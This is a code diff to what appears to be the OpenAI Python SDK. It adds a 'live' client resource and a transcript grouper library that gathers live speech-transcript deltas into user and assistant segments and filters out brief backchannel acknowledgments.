from .resources.realtime import Realtime
@@ -1224,6 +1232,12 @@ def responses(self) -> AsyncResponses:
return AsyncResponses(self)
+ @cached_property
+ def live(self) -> AsyncLive:
+ from .resources.live import AsyncLive
+
+ return AsyncLive(self)
+
@cached_property
def realtime(self) -> AsyncRealtime:
from .resources.realtime import AsyncRealtime
@@ -1751,6 +1765,12 @@ def responses(self) -> responses.ResponsesWithRawResponse:
return ResponsesWithRawResponse(self._client.responses)
+ @cached_property
+ def live(self) -> live.LiveWithRawResponse:
+ from .resources.live import LiveWithRawResponse
+
+ return LiveWithRawResponse(self._client.live)
+
@cached_property
def realtime(self) -> realtime.RealtimeWithRawResponse:
from .resources.realtime import RealtimeWithRawResponse
@@ -1914,6 +1934,12 @@ def responses(self) -> responses.AsyncResponsesWithRawResponse:
return AsyncResponsesWithRawResponse(self._client.responses)
+ @cached_property
+ def live(self) -> live.AsyncLiveWithRawResponse:
+ from .resources.live import AsyncLiveWithRawResponse
+
+ return AsyncLiveWithRawResponse(self._client.live)
+
@cached_property
def realtime(self) -> realtime.AsyncRealtimeWithRawResponse:
from .resources.realtime import AsyncRealtimeWithRawResponse
@@ -2077,6 +2103,12 @@ def responses(self) -> responses.ResponsesWithStreamingResponse:
return ResponsesWithStreamingResponse(self._client.responses)
+ @cached_property
+ def live(self) -> live.LiveWithStreamingResponse:
+ from .resources.live import LiveWithStreamingResponse
+
+ return LiveWithStreamingResponse(self._client.live)
+
@cached_property
def realtime(self) -> realtime.RealtimeWithStreamingResponse:
from .resources.realtime import RealtimeWithStreamingResponse
@@ -2240,6 +2272,12 @@ def responses(self) -> responses.AsyncResponsesWithStreamingResponse:
return AsyncResponsesWithStreamingResponse(self._client.responses)
+ @cached_property
+ def live(self) -> live.AsyncLiveWithStreamingResponse:
+ from .resources.live import AsyncLiveWithStreamingResponse
+
+ return AsyncLiveWithStreamingResponse(self._client.live)
+
@cached_property
def realtime(self) -> realtime.AsyncRealtimeWithStreamingResponse:
from .resources.realtime import AsyncRealtimeWithStreamingResponse
diff --git a/src/openai/_module_client.py b/src/openai/_module_client.py
index d7bfcd90b3..3bfeb80dfd 100644
--- a/src/openai/_module_client.py
+++ b/src/openai/_module_client.py
@@ -13,6 +13,7 @@
from .resources.batches import Batches
from .resources.beta.beta import Beta
from .resources.chat.chat import Chat
+ from .resources.live.live import Live
from .resources.embeddings import Embeddings
from .resources.admin.admin import Admin
from .resources.audio.audio import Audio
@@ -47,6 +48,12 @@ def __load__(self) -> Beta:
return _load_client().beta
+class LiveProxy(LazyProxy["Live"]):
+ @override
+ def __load__(self) -> Live:
+ return _load_client().live
+
+
class FilesProxy(LazyProxy["Files"]):
@override
def __load__(self) -> Files:
@@ -181,6 +188,7 @@ def __load__(self) -> ContentProvenanceChecks:
chat: Chat = ChatProxy().__as_proxied__()
beta: Beta = BetaProxy().__as_proxied__()
+live: Live = LiveProxy().__as_proxied__()
files: Files = FilesProxy().__as_proxied__()
audio: Audio = AudioProxy().__as_proxied__()
admin: Admin = AdminProxy().__as_proxied__()
diff --git a/src/openai/lib/live/__init__.py b/src/openai/lib/live/__init__.py
new file mode 100644
index 0000000000..3feb12e7cf
--- /dev/null
+++ b/src/openai/lib/live/__init__.py
@@ -0,0 +1,9 @@
+from ._types import (
+ TranscriptSegment as TranscriptSegment,
+ TranscriptSegmentClosedEvent as TranscriptSegmentClosedEvent,
+ TranscriptSegmentCloseReason as TranscriptSegmentCloseReason,
+)
+from ._transcript_grouper import (
+ TranscriptGrouper as TranscriptGrouper,
+ AsyncTranscriptGrouper as AsyncTranscriptGrouper,
+)
diff --git a/src/openai/lib/live/_listeners.py b/src/openai/lib/live/_listeners.py
new file mode 100644
index 0000000000..22e711ff7d
--- /dev/null
+++ b/src/openai/lib/live/_listeners.py
@@ -0,0 +1,103 @@
+from __future__ import annotations
+
+import threading
+from typing import Any, Generic, TypeVar, Callable, overload
+from dataclasses import dataclass
+from typing_extensions import Self, Literal
+
+from ._types import GroupingUpdate, TranscriptSegment, TranscriptSegmentClosedEvent
+
+_ReturnT = TypeVar("_ReturnT")
+_EventName = Literal["segment.updated", "segment.closed"]
+
+
+@dataclass(eq=False)
+class _Registration(Generic[_ReturnT]):
+ handler: Callable[..., _ReturnT]
+ once: bool
+
+
+class TranscriptListeners(Generic[_ReturnT]):
+ """Typed, session-local callbacks; listener registration never holds the state lock."""
+
+ def __init__(self) -> None:
+ self._listeners: dict[str, list[_Registration[_ReturnT]]] = {}
+ self._listeners_lock = threading.Lock()
+
+ @overload
+ def on(self, event_type: Literal["segment.updated"], handler: Callable[[TranscriptSegment], _ReturnT]) -> Self: ...
+
+ @overload
+ def on(
+ self, event_type: Literal["segment.closed"], handler: Callable[[TranscriptSegmentClosedEvent], _ReturnT]
+ ) -> Self: ...
+
+ @overload
+ def on(
+ self, event_type: Literal["segment.updated"]
+ ) -> Callable[[Callable[[TranscriptSegment], _ReturnT]], Callable[[TranscriptSegment], _ReturnT]]: ...
+
+ @overload
+ def on(
+ self, event_type: Literal["segment.closed"]
+ ) -> Callable[
+ [Callable[[TranscriptSegmentClosedEvent], _ReturnT]], Callable[[TranscriptSegmentClosedEvent], _ReturnT]
+ ]: ...
+
+ def on(self, event_type: _EventName, handler: Callable[..., _ReturnT] | None = None) -> Any:
+ """Register a callback, or use as a decorator. Return self when given a handler."""
+ return self._register(event_type, handler, once=False)
+
+ @overload
+ def once(
+ self, event_type: Literal["segment.updated"], handler: Callable[[TranscriptSegment], _ReturnT]
+ ) -> Self: ...
+
+ @overload
+ def once(
+ self, event_type: Literal["segment.closed"], handler: Callable[[TranscriptSegmentClosedEvent], _ReturnT]
+ ) -> Self: ...
+
+ @overload
+ def once(
+ self, event_type: Literal["segment.updated"]
+ ) -> Callable[[Callable[[TranscriptSegment], _ReturnT]], Callable[[TranscriptSegment], _ReturnT]]: ...
+
+ @overload
+ def once(
+ self, event_type: Literal["segment.closed"]
+ ) -> Callable[
+ [Callable[[TranscriptSegmentClosedEvent], _ReturnT]], Callable[[TranscriptSegmentClosedEvent], _ReturnT]
+ ]: ...
+
+ def once(self, event_type: _EventName, handler: Callable[..., _ReturnT] | None = None) -> Any:
+ """Register a callback for the next event only, optionally as a decorator."""
+ return self._register(event_type, handler, once=True)
+
+ def _register(self, event_type: _EventName, handler: Callable[..., _ReturnT] | None, *, once: bool) -> Any:
+ def register(fn: Callable[..., _ReturnT]) -> Callable[..., _ReturnT]:
+ with self._listeners_lock:
+ self._listeners.setdefault(event_type, []).append(_Registration(fn, once))
+ return fn
+
+ if handler is None:
+ return register
+ register(handler)
+ return self
+
+ def off(self, event_type: _EventName, handler: Callable[..., _ReturnT]) -> Self:
+ """Remove the first matching registration, if present."""
+ with self._listeners_lock:
+ listeners = self._listeners.get(event_type, [])
+ for index, registration in enumerate(listeners):
+ if registration.handler == handler:
+ del listeners[index]
+ break
+ return self
+
+ def _handlers(self, update: GroupingUpdate) -> list[Callable[..., _ReturnT]]:
+ event_type = "segment.updated" if isinstance(update, TranscriptSegment) else "segment.closed"
+ with self._listeners_lock:
+ listeners = self._listeners.get(event_type, [])
+ self._listeners[event_type] = [registration for registration in listeners if not registration.once]
+ return [registration.handler for registration in listeners]
diff --git a/src/openai/lib/live/_transcript_grouper.py b/src/openai/lib/live/_transcript_grouper.py
new file mode 100644
index 0000000000..47886085fa
--- /dev/null
+++ b/src/openai/lib/live/_transcript_grouper.py
@@ -0,0 +1,325 @@
+from __future__ import annotations
+
+import time
+import asyncio
+import inspect
+import threading
+from types import TracebackType
+from typing import TypeVar, Callable, Sequence, Awaitable
+from collections import deque
+from dataclasses import dataclass
+from typing_extensions import Self, Protocol, override
+
+from ._types import GroupingUpdate, TranscriptGrouperOptions
+from ._listeners import TranscriptListeners
+from ...types.live import ServerEvent
+from ..._exceptions import OpenAIError
+from ._transcript_state import TranscriptState
+
+_ReturnT = TypeVar("_ReturnT")
+
+
+class _Timer(Protocol):
+ def cancel(self) -> None: ...
+
+
+@dataclass
+class _DispatchRun:
+ task: asyncio.Task[None] | None = None
+ waiters: int = 0
+ observed: bool = False
+
+
+class _BaseTranscriptGrouper(TranscriptListeners[_ReturnT]):
+ def __init__(self, options: TranscriptGrouperOptions) -> None:
+ super().__init__()
+ self._state = TranscriptState(options, self._now)
+ self._updates: deque[GroupingUpdate] = deque()
+ self._timer: _Timer | None = None
+ self._timer_generation = 0
+
+ def _now(self) -> float:
+ return time.monotonic() * 1000
+
+ def _clear_timer(self) -> None:
+ self._timer_generation += 1
+ if self._timer is not None:
+ self._timer.cancel()
+ self._timer = None
+
+ def _schedule(self) -> None:
+ self._clear_timer()
+ delay = self._state.delay()
+ if delay is not None:
+ generation = self._timer_generation
+ self._timer = self._call_later(delay, lambda: self._timer_fired(generation))
+
+ def _call_later(self, delay_ms: int, callback: Callable[[], None]) -> _Timer:
+ raise NotImplementedError
+
+ def _timer_fired(self, generation: int) -> None:
+ raise NotImplementedError
+
+
+def _options(
+ min_turn_separation_ms: float | None,
+ assistant_silence_ms: float | None,
+ backchannel_max_duration_ms: float | None,
+ backchannel_isolation_ms: float | None,
+ additional_acknowledgments: Sequence[str] | None,
+) -> TranscriptGrouperOptions:
+ return TranscriptGrouperOptions(
+ 500 if min_turn_separation_ms is None else min_turn_separation_ms,
+ 2000 if assistant_silence_ms is None else assistant_silence_ms,
+ 1000 if backchannel_max_duration_ms is None else backchannel_max_duration_ms,
+ 2000 if backchannel_isolation_ms is None else backchannel_isolation_ms,
+ tuple(additional_acknowledgments or ()),
+ )
+
+
+class TranscriptGrouper(_BaseTranscriptGrouper[None]):
+ """Group public Live transcript events into immutable display segments.
+
+ This is the TypeScript SDK's speaker/backchannel policy: only transcript
+ additions and session.closed are consumed. It is not VAD, playback tracking,
+ or a lossless transcript; brief overlapping acknowledgments may be suppressed.
+ Set backchannel_max_duration_ms=0 to disable suppression.
+ additional_acknowledgments extends the built-in phrases using the same timing
+ thresholds. Phrases are copied at construction and normalized like transcript
+ text: case, hyphens, whitespace, and surrounding punctuation are normalized.
+
+ Use one instance per session. Call close() on disconnect or use a with block;
+ the grouper never owns, closes or reconnects your transport. Delayed delivery
+ can change grouping because monotonic local time supplies inactivity fallback.
+
+ Callbacks are serialized and run outside the state lock. A timer-triggered
+ callback may run on a daemon timer thread. Callback exceptions propagate to
+ push/close callers, or to threading.excepthook for timer-triggered callbacks.
+ """
+
+ def __init__(
+ self,
+ *,
+ min_turn_separation_ms: float | None = None,
+ assistant_silence_ms: float | None = None,
+ backchannel_max_duration_ms: float | None = None,
+ backchannel_isolation_ms: float | None = None,
+ additional_acknowledgments: Sequence[str] | None = None,
+ ) -> None:
+ super().__init__(
+ _options(
+ min_turn_separation_ms,
+ assistant_silence_ms,
+ backchannel_max_duration_ms,
+ backchannel_isolation_ms,
+ additional_acknowledgments,
+ )
+ )
+ self._lock = threading.Lock()
+ self._dispatching = False
+
+ def push(self, event: ServerEvent) -> None:
+ """Consume one typed Live event; duplicates and unrelated events are ignored.
+
+ Invalid transcript fields or use after close raise OpenAIError before
+ changing state. Empty text does not restart inactivity.
+ """
+ with self._lock:
+ updates = self._state.push(event)
+ if updates is None:
+ return
+ self._updates.extend(updates)
+ self._schedule()
+ self._dispatch()
+
+ def close(self) -> None:
+ """Flush/finalize once and cancel timers, without closing the transport.
+
+ Already-running callbacks finish in order, including when close is called
+ from a callback. Further push calls fail.
+ """
+ with self._lock:
+ self._updates.extend(self._state.finish("manual"))
+ self._clear_timer()
+ self._dispatch()
+
+ def __enter__(self) -> Self:
+ return self
+
+ def __exit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, traceback: TracebackType | None
+ ) -> None:
+ self.close()
+
+ @override
+ def _call_later(self, delay_ms: int, callback: Callable[[], None]) -> _Timer:
+ timer = threading.Timer(delay_ms / 1000, callback)
+ timer.daemon = True
+ timer.start()
+ return timer
+
+ @override
+ def _timer_fired(self, generation: int) -> None:
+ with self._lock:
+ if generation != self._timer_generation or self._state.closed:
+ return
+ self._timer = None
+ self._updates.extend(self._state.tick())
+ self._schedule()
+ self._dispatch()
+
+ def _dispatch(self) -> None:
+ with self._lock:
+ if self._dispatching:
+ return
+ self._dispatching = True
+ try:
+ while True:
+ with self._lock:
+ if not self._updates:
+ self._dispatching = False
+ return
+ update = self._updates.popleft()
+ for handler in self._handlers(update):
+ handler(update)
+ except BaseException:
+ with self._lock:
+ self._dispatching = False
+ raise
+
+
+class AsyncTranscriptGrouper(_BaseTranscriptGrouper[None | Awaitable[None]]):
+ """Asyncio counterpart of TranscriptGrouper, sharing exactly the same policy.
+
+ additional_acknowledgments extends the built-in phrases with the same
+ normalization and timing thresholds as TranscriptGrouper.
+
+ Use async with, await push(event), and await close(). Register synchronous
+ or asynchronous callbacks with on/once. Handlers run sequentially on the
+ owning event loop; timer callbacks never run on a worker thread. Exceptions
+ from timer-triggered handlers go to the event loop's exception handler.
+ """
+
+ def __init__(
+ self,
+ *,
+ min_turn_separation_ms: float | None = None,
+ assistant_silence_ms: float | None = None,
+ backchannel_max_duration_ms: float | None = None,
+ backchannel_isolation_ms: float | None = None,
+ additional_acknowledgments: Sequence[str] | None = None,
+ ) -> None:
+ super().__init__(
+ _options(
+ min_turn_separation_ms,
+ assistant_silence_ms,
+ backchannel_max_duration_ms,
+ backchannel_isolation_ms,
+ additional_acknowledgments,
+ )
+ )
+ self._loop: asyncio.AbstractEventLoop | None = None
+ self._dispatch_run: _DispatchRun | None = None
+
+ def _get_loop(self) -> asyncio.AbstractEventLoop:
+ loop = asyncio.get_running_loop()
+ if self._loop is None:
+ self._loop = loop
+ elif self._loop is not loop:
+ raise OpenAIError("The async transcript grouper must be used on its owning event loop")
+ return loop
+
+ async def push(self, event: ServerEvent) -> None:
+ """Consume one event and dispatch its updates; await async handlers in order."""
+ self._get_loop()
+ updates = self._state.push(event)
+ if updates is None:
+ return
+ self._updates.extend(updates)
+ self._schedule()
+ await self._dispatch()
+
+ async def close(self) -> None:
+ """Finalize the projection and cancel timers. Idempotent; owns no transport."""
+ self._get_loop()
+ self._updates.extend(self._state.finish("manual"))
+ self._clear_timer()
+ await self._dispatch()
+
+ async def __aenter__(self) -> Self:
+ self._get_loop()
+ return self
+
+ async def __aexit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, traceback: TracebackType | None
+ ) -> None:
+ await self.close()
+
+ @override
+ def _call_later(self, delay_ms: int, callback: Callable[[], None]) -> _Timer:
+ return self._get_loop().call_later(delay_ms / 1000, callback)
+
+ @override
+ def _timer_fired(self, generation: int) -> None:
+ if generation != self._timer_generation or self._state.closed:
+ return
+ self._timer = None
+ self._updates.extend(self._state.tick())
+ self._schedule()
+ self._start_dispatch()
+
+ def _dispatch_finished(self, run: _DispatchRun, task: asyncio.Task[None]) -> None:
+ if self._dispatch_run is run:
+ self._dispatch_run = None
+ if task.cancelled():
+ return
+ error = task.exception()
+ if error is not None and not run.waiters and not run.observed:
+ self._get_loop().call_exception_handler(
+ {"message": "Live transcript callback failed", "exception": error, "task": task}
+ )
+
+ def _start_dispatch(self) -> _DispatchRun | None:
+ run = self._dispatch_run
+ if run is not None and run.task is not None and not run.task.done():
+ return run
+ if not self._updates:
+ return None
+ run = _DispatchRun()
+ self._dispatch_run = run
+ run.task = self._get_loop().create_task(self._dispatch_updates(run))
+ run.task.add_done_callback(lambda task: self._dispatch_finished(run, task))
+ return run
+
+ async def _dispatch(self) -> None:
+ run = self._dispatch_run
+ if run is not None and run.task is asyncio.current_task():
+ return
+ run = self._start_dispatch()
+ if run is None:
+ return
+ assert run.task is not None
+ run.waiters += 1
+ try:
+ # A cancelled push/close caller must not interrupt an event halfway
+ # through its listeners, especially once session closure is committed.
+ await asyncio.shield(run.task)
+ except asyncio.CancelledError:
+ raise
+ except BaseException:
+ run.observed = True
+ raise
+ else:
+ run.observed = True
+ finally:
+ run.waiters -= 1
+
+ async def _dispatch_updates(self, run: _DispatchRun) -> None:
+ # Set ownership before handlers run, including with an eager task factory.
+ run.task = asyncio.current_task()
+ while self._updates:
+ update = self._updates.popleft()
+ for handler in self._handlers(update):
+ result = handler(update)
+ if inspect.isawaitable(result):
+ await result
diff --git a/src/openai/lib/live/_transcript_grouping.py b/src/openai/lib/live/_transcript_grouping.py
new file mode 100644
index 0000000000..fb38d6363f
--- /dev/null
+++ b/src/openai/lib/live/_transcript_grouping.py
@@ -0,0 +1,315 @@
+from __future__ import annotations
+
+import re
+import unicodedata
+from dataclasses import dataclass
+from typing_extensions import Literal
+
+from ._types import (
+ GroupingUpdate,
+ TranscriptSegment,
+ TranscriptFragment,
+ TranscriptGrouperOptions,
+ TranscriptSegmentClosedEvent,
+ TranscriptSegmentCloseReason,
+)
+
+# Match ECMAScript \s, including BOM but excluding Python-only whitespace.
+_WHITESPACE = "\u0009\u000a\u000b\u000c\u000d\u0020\u00a0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u2028\u2029\u202f\u205f\u3000\ufeff"
+_ACKNOWLEDGMENTS = (
+ "aha",
+ "alright",
+ "gotcha",
+ "hm",
+ "hmm",
+ "mhm",
+ "mm",
+ "mm hmm",
+ "okay",
+ "ok",
+ "right",
+ "sure",
+ "uh huh",
+ "yeah",
+ "yep",
+ "yes",
+)
+
+
+def _normalize_acknowledgment(text: str) -> str:
+ text = text.lower().replace("-", " ").strip(_WHITESPACE + ".,!?;:\"'()[]{}")
+ return re.sub(f"[{_WHITESPACE}]+", " ", text)
+
+
+def _letter_or_number(char: str) -> bool:
+ return unicodedata.category(char)[0] in ("L", "N")
+
+
+@dataclass
+class _Turn:
+ speaker: Literal["user", "assistant"]
+ text: str
+ start_ms: int
+ end_ms: int
+ id: str
+ previous_id: str | None = None
+ emitted: bool = False
+ can_drop_as_backchannel: bool = True
+
+
+class TranscriptGrouping:
+ """Direct port of the TypeScript policy; no clocks, callbacks or transport."""
+
+ def __init__(self, options: TranscriptGrouperOptions, id_prefix: str) -> None:
+ self._options = options
+ self._id_prefix = id_prefix
+ self._acknowledgments = _ACKNOWLEDGMENTS + tuple(
+ ack for phrase in options.additional_acknowledgments if (ack := _normalize_acknowledgment(phrase))
+ )
+ self._current: _Turn | None = None
+ self._buffered: _Turn | None = None
+ self._last_id: str | None = None
+ self._next_id = 0
+ self._last_assistant_end: int | None = None
+
+ @property
+ def speaker(self) -> str | None:
+ return self._current.speaker if self._current is not None else None
+
+ def process(self, fragments: list[TranscriptFragment]) -> list[GroupingUpdate]:
+ events: list[GroupingUpdate] = []
+ preferred = self.speaker or "user"
+ ordered = [part for part in fragments if part.speaker == preferred] + [
+ part for part in fragments if part.speaker != preferred
+ ]
+ if not ordered:
+ return events
+ first = ordered[0]
+ deadline = self.deadline()
+ while deadline is not None and deadline < first.start_ms:
+ events.extend(self.advance(deadline))
+ deadline = self.deadline()
+ if self._current is not None and not any(part.speaker == self.speaker for part in ordered):
+ events.extend(self.advance(first.start_ms, any(part.speaker == "user" for part in ordered)))
+ for fragment in ordered:
+ events.extend(self._ingest(fragment))
+ return events
+
+ def advance(self, time_ms: float, has_incoming_user: bool = False) -> list[GroupingUpdate]:
+ if (
+ self._current is not None
+ and self._buffered is not None
+ and time_ms - self._current.end_ms >= self._options.min_turn_separation_ms
+ and not self._keep_backchannel(time_ms)
+ ):
+ self._buffered = self._maybe_drop_backchannel(time_ms)
+ if self._buffered is not None:
+ return self._promote()
+ if (
+ self._current is not None
+ and self._current.speaker == "assistant"
+ and not has_incoming_user
+ and time_ms - self._current.end_ms >= self._options.assistant_silence_ms
+ ):
+ return self._finish_current("inactivity")
+ return []
+
+ def deadline(self) -> float | None:
+ if self._current is None:
+ return None
+ if self._buffered is not None:
+ separation = self._current.end_ms + self._options.min_turn_separation_ms
+ if (
+ self._might_be_backchannel()
+ and self._buffered.can_drop_as_backchannel
+ and not self._user_continued()
+ and not self._recent_assistant()
+ ):
+ return max(separation, self._buffered.end_ms + self._options.backchannel_isolation_ms)
+ return separation
+ if self._current.speaker == "assistant":
+ return self._current.end_ms + self._options.assistant_silence_ms
+ return None
+
+ def close(self, time_ms: float, reason: TranscriptSegmentCloseReason) -> list[GroupingUpdate]:
+ buffered = self._maybe_drop_backchannel(time_ms)
+ events = self._finish_current(reason)
+ self._buffered = None
+ if buffered is not None and buffered.text:
+ events.extend(self._emit(buffered))
+ events.extend(self._finish(buffered, reason))
+ if reason == "timestamp_reset":
+ self._last_assistant_end = None
+ return events
+
+ def _ingest(self, fragment: TranscriptFragment) -> list[GroupingUpdate]:
+ if self._current is None:
+ self._current = self._new_turn(fragment)
+ return self._emit(self._current)
+ if fragment.speaker == self._current.speaker:
+ self._append(self._current, fragment, self._buffered is not None)
+ return self._emit(self._current)
+ if self._current.speaker == "user" and self._user_continued():
+ self._buffered = None
+ separation = fragment.start_ms - self._current.end_ms
+ if self._current.speaker == "assistant":
+ self._buffer(fragment)
+ return self._promote()
+ if separation < self._options.min_turn_separation_ms:
+ self._buffer(fragment, self._possible_acknowledgment(fragment))
+ return []
+ if self._buffered is not None and self._standalone_acknowledgment(fragment, self._buffered):
+ self._buffer(fragment, True)
+ return []
+ if self._buffered is None and self._standalone_acknowledgment(fragment):
+ self._buffer(fragment, False)
+ return []
+ self._buffered = self._maybe_drop_backchannel(next_fragment=fragment)
+ events = self._finish_current("speaker_change")
+ if self._buffered is not None:
+ self._current = self._buffered
+ self._buffered = None
+ self._append(self._current, fragment)
+ else:
+ self._current = self._new_turn(fragment)
+ events.extend(self._emit(self._current))
+ return events
+
+ def _new_turn(self, fragment: TranscriptFragment) -> _Turn:
+ turn = _Turn(
+ speaker=fragment.speaker,
+ text=fragment.text,
+ start_ms=fragment.start_ms,
+ end_ms=fragment.end_ms,
+ id=f"{self._id_prefix}_{self._next_id}",
+ )
+ self._next_id += 1
+ return turn
+
+ @staticmethod
+ def _append(turn: _Turn, fragment: TranscriptFragment, separate: bool = False) -> None:
+ separator = (
+ " "
+ if separate
+ and turn.text
+ and fragment.text
+ and _letter_or_number(turn.text[-1])
+ and _letter_or_number(fragment.text[0])
+ else ""
+ )
+ turn.text += separator + fragment.text
+ turn.end_ms = max(turn.end_ms, fragment.end_ms)
+
+ def _buffer(self, fragment: TranscriptFragment, can_drop: bool | None = None) -> None:
+ if self._buffered is not None:
+ self._append(self._buffered, fragment)
+ else:
+ self._buffered = self._new_turn(fragment)
+ if can_drop is not None:
+ self._buffered.can_drop_as_backchannel = can_drop
+
+ def _promote(self) -> list[GroupingUpdate]:
+ if self._buffered is None:
+ return []
+ events = self._finish_current("speaker_change")
+ self._current = self._buffered
+ self._buffered = None
+ events.extend(self._emit(self._current))
+ return events
+
+ def _finish_current(self, reason: TranscriptSegmentCloseReason) -> list[GroupingUpdate]:
+ current, self._current = self._current, None
+ return self._finish(current, reason) if current is not None else []
+
+ def _finish(self, turn: _Turn, reason: TranscriptSegmentCloseReason) -> list[GroupingUpdate]:
+ if turn.speaker == "assistant":
+ self._last_assistant_end = turn.end_ms
+ return [TranscriptSegmentClosedEvent(self._snapshot(turn), reason)] if turn.emitted else []
+
+ def _emit(self, turn: _Turn) -> list[GroupingUpdate]:
+ if not turn.text:
+ return []
+ if not turn.emitted:
+ turn.previous_id = self._last_id
+ self._last_id = turn.id
+ turn.emitted = True
+ return [self._snapshot(turn)]
+
+ @staticmethod
+ def _snapshot(turn: _Turn) -> TranscriptSegment:
+ assert turn.speaker in ("user", "assistant")
+ return TranscriptSegment(turn.id, turn.previous_id, turn.speaker, turn.text, turn.start_ms, turn.end_ms)
+
+ def _might_be_backchannel(self) -> bool:
+ return (
+ self._current is not None
+ and self._current.speaker == "user"
+ and self._buffered is not None
+ and self._buffered.speaker == "assistant"
+ and self._buffered.end_ms - self._buffered.start_ms < self._options.backchannel_max_duration_ms
+ )
+
+ def _user_continued(self) -> bool:
+ return (
+ self._might_be_backchannel()
+ and self._buffered is not None
+ and self._buffered.can_drop_as_backchannel
+ and self._current is not None
+ and self._current.end_ms > self._buffered.end_ms
+ )
+
+ def _recent_assistant(self) -> bool:
+ return (
+ self._current is not None
+ and self._buffered is not None
+ and self._last_assistant_end is not None
+ and self._buffered.start_ms - self._last_assistant_end < self._options.backchannel_isolation_ms
+ and self._buffered.start_ms <= self._current.start_ms
+ )
+
+ def _keep_backchannel(self, time_ms: float) -> bool:
+ return (
+ self._might_be_backchannel()
+ and self._buffered is not None
+ and self._buffered.can_drop_as_backchannel
+ and not self._user_continued()
+ and not self._recent_assistant()
+ and time_ms - self._buffered.end_ms < self._options.backchannel_isolation_ms
+ )
+
+ def _maybe_drop_backchannel(
+ self, time_ms: float | None = None, next_fragment: TranscriptFragment | None = None
+ ) -> _Turn | None:
+ if not self._might_be_backchannel() or self._buffered is None:
+ return self._buffered
+ if self._user_continued():
+ return None
+ if self._recent_assistant():
+ return self._buffered
+ if (
+ next_fragment is not None
+ and next_fragment.start_ms - self._buffered.end_ms < self._options.backchannel_isolation_ms
+ ):
+ return self._buffered
+ if next_fragment is None and (
+ time_ms is None or time_ms - self._buffered.end_ms < self._options.backchannel_isolation_ms
+ ):
+ return self._buffered
+ return None if self._buffered.can_drop_as_backchannel else self._buffered
+
+ def _standalone_acknowledgment(self, fragment: TranscriptFragment, previous: _Turn | None = None) -> bool:
+ return (
+ fragment.end_ms - (previous.start_ms if previous is not None else fragment.start_ms)
+ < self._options.backchannel_max_duration_ms
+ and _normalize_acknowledgment((previous.text if previous is not None else "") + fragment.text)
+ in self._acknowledgments
+ )
+
+ def _possible_acknowledgment(self, fragment: TranscriptFragment) -> bool:
+ text = _normalize_acknowledgment((self._buffered.text if self._buffered is not None else "") + fragment.text)
+ return (
+ fragment.end_ms - (self._buffered.start_ms if self._buffered is not None else fragment.start_ms)
+ < self._options.backchannel_max_duration_ms
+ and bool(text)
+ and any(ack.startswith(text) for ack in self._acknowledgments)
+ )
diff --git a/src/openai/lib/live/_transcript_state.py b/src/openai/lib/live/_transcript_state.py
new file mode 100644
index 0000000000..e31f6c6766
--- /dev/null
+++ b/src/openai/lib/live/_transcript_state.py
@@ -0,0 +1,157 @@
+from __future__ import annotations
+
+import math
+import itertools
+from typing import Callable
+from dataclasses import fields, dataclass
+from typing_extensions import Literal, TypeGuard
+
+from ._types import GroupingUpdate, TranscriptFragment, TranscriptGrouperOptions
+from ...types.live import ServerEvent
+from ..._exceptions import OpenAIError
+from ._transcript_grouping import TranscriptGrouping
+
+MAX_TIMEOUT_MS = 2_147_483_647
+_MAX_SAFE_INTEGER = 9_007_199_254_740_991
+_GROUPER_IDS = itertools.count()
+
+
+def validated_options(options: TranscriptGrouperOptions) -> TranscriptGrouperOptions:
+ for field in fields(options):
+ if field.name == "additional_acknowledgments":
+ continue
+ value = getattr(options, field.name)
+ if isinstance(value, bool) or not isinstance(value, (int, float)) or not 0 <= value <= MAX_TIMEOUT_MS:
+ raise OpenAIError(f"{field.name} must be a finite number between 0 and {MAX_TIMEOUT_MS}")
+ return options
+
+
+@dataclass(frozen=True)
+class _ReceivedFragment:
+ fragment: TranscriptFragment
+ received_at: float
+
+
+class TranscriptState:
+ """Clock-driven state shared by the sync and async adapters; callers serialize access."""
+
+ def __init__(self, options: TranscriptGrouperOptions, now: Callable[[], float]) -> None:
+ self._now = now
+ self._grouping = TranscriptGrouping(validated_options(options), f"segment_{next(_GROUPER_IDS)}")
+ self._seen_ids: set[str] = set()
+ self._pending: list[_ReceivedFragment] = []
+ self._anchor: tuple[int, float] | None = None
+ self._last_start_ms: int | None = None
+ self.closed = False
+
+ def push(self, event: ServerEvent) -> list[GroupingUpdate] | None:
+ if self.closed:
+ raise OpenAIError("Cannot push events after closing the transcript grouper")
+ if event.type == "session.closed":
+ return self.finish("session_closed")
+ if event.type not in ("session.input_transcript.delta", "session.output_transcript.delta"):
+ return None
+ # SDK events may be constructed without validation. Check only consumed
+ # variants and copy their primitive fields before updating any state.
+ event_id = getattr(event, "event_id", None)
+ text = getattr(event, "delta", None)
+ start_ms = getattr(event, "start_ms", None)
+ end_ms = getattr(event, "end_ms", None)
+ speaker: Literal["user", "assistant"] = (
+ "user" if event.type == "session.input_transcript.delta" else "assistant"
+ )
+ if (
+ not isinstance(event_id, str)
+ or not event_id
+ or not isinstance(text, str)
+ or not self._valid_timestamp(start_ms)
+ or not self._valid_timestamp(end_ms)
+ or end_ms < start_ms
+ ):
+ raise OpenAIError(
+ "Invalid public Live transcript delta: expected an ID, text, and a nonnegative timed interval"
+ )
+ if event_id in self._seen_ids:
+ return None
+ self._seen_ids.add(event_id)
+ if not text:
+ return None
+ fragment = TranscriptFragment(speaker, text, int(start_ms), int(end_ms))
+ received = _ReceivedFragment(fragment, self._now())
+ updates: list[GroupingUpdate] = []
+ pending = self._pending[0].fragment if self._pending else None
+ if pending is not None and pending.start_ms == start_ms and pending.end_ms == end_ms:
+ self._pending.append(received)
+ if any(part.fragment.speaker != speaker for part in self._pending):
+ updates.extend(self._flush_pending())
+ else:
+ updates.extend(self._flush_pending())
+ if self._grouping.speaker == speaker:
+ updates.extend(self._commit([received]))
+ else:
+ self._pending.append(received)
+ return updates
+
+ @staticmethod
+ def _valid_timestamp(value: object) -> TypeGuard[int | float]:
+ # JavaScript's Number.isSafeInteger also accepts 1.0. Preserve that
+ # behavior for unchecked models, but never treat Python bool as a time.
+ return (
+ not isinstance(value, bool)
+ and isinstance(value, (int, float))
+ and 0 <= value <= _MAX_SAFE_INTEGER
+ and int(value) == value
+ )
+
+ def finish(self, reason: Literal["manual", "session_closed"]) -> list[GroupingUpdate]:
+ if self.closed:
+ return []
+ assert reason in ("manual", "session_closed")
+ self.closed = True
+ updates = self._flush_pending()
+ updates.extend(self._grouping.close(self._source_now(), reason))
+ self._seen_ids.clear()
